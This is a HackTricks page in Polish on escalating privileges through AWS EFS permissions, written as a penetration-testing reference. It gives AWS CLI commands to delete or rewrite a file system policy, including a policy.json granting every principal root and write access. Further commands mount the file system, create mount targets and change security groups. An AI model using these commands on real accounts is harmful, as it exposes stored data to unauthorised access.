AWS - EFS Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

EFS

Więcej informacji o EFS w:

AWS - EFS Enum

Pamiętaj, że aby zamontować EFS musisz znajdować się w subnecie, w którym EFS jest wystawiony, oraz mieć do niego dostęp (security groups). Jeśli tak jest, domyślnie zawsze będziesz mógł go zamontować, jednak jeśli jest chroniony przez polityki IAM musisz mieć dodatkowe uprawnienia wymienione tutaj, aby uzyskać do niego dostęp.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Posiadając któreś z tych uprawnień, atakujący może zmienić politykę systemu plików, aby przyznać sobie dostęp do niego, lub po prostu ją usunąć, tak aby domyślny dostęp został przyznany.

Aby usunąć politykę:

aws efs delete-file-system-policy \
--file-system-id <value>

Aby to zmienić:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Z tym uprawnieniem atakujący będzie w stanie zamontować EFS. Jeśli uprawnienie do zapisu nie jest domyślnie przyznane wszystkim, którzy mogą zamontować EFS, będzie miał tylko dostęp do odczytu.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Dodatkowe uprawnienia elasticfilesystem:ClientRootAccess i elasticfilesystem:ClientWrite mogą być użyte do zapisu wewnątrz systemu plików po jego zamontowaniu oraz do dostępu do tego systemu plików jako root.

Potencjalny wpływ: Pośrednia eskalacja uprawnień (privesc) poprzez odnalezienie wrażliwych informacji w systemie plików.

elasticfilesystem:CreateMountTarget

Jeśli atakujący znajduje się w podsieci, w której nie istnieje żaden mount target dla EFS, może po prostu utworzyć jeden w swojej podsieci przy użyciu tego uprawnienia:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potencjalny wpływ: Pośrednie privesc przez zlokalizowanie wrażliwych informacji w systemie plików.

elasticfilesystem:ModifyMountTargetSecurityGroups

W scenariuszu, w którym atakujący stwierdzi, że EFS ma mount target w jego podsieci, ale żadne security group nie zezwalają na ruch, może po prostu to zmienić, modyfikując wybrane security groups:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potencjalny wpływ: Pośrednie privesc poprzez zlokalizowanie wrażliwych informacji w systemie plików.

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks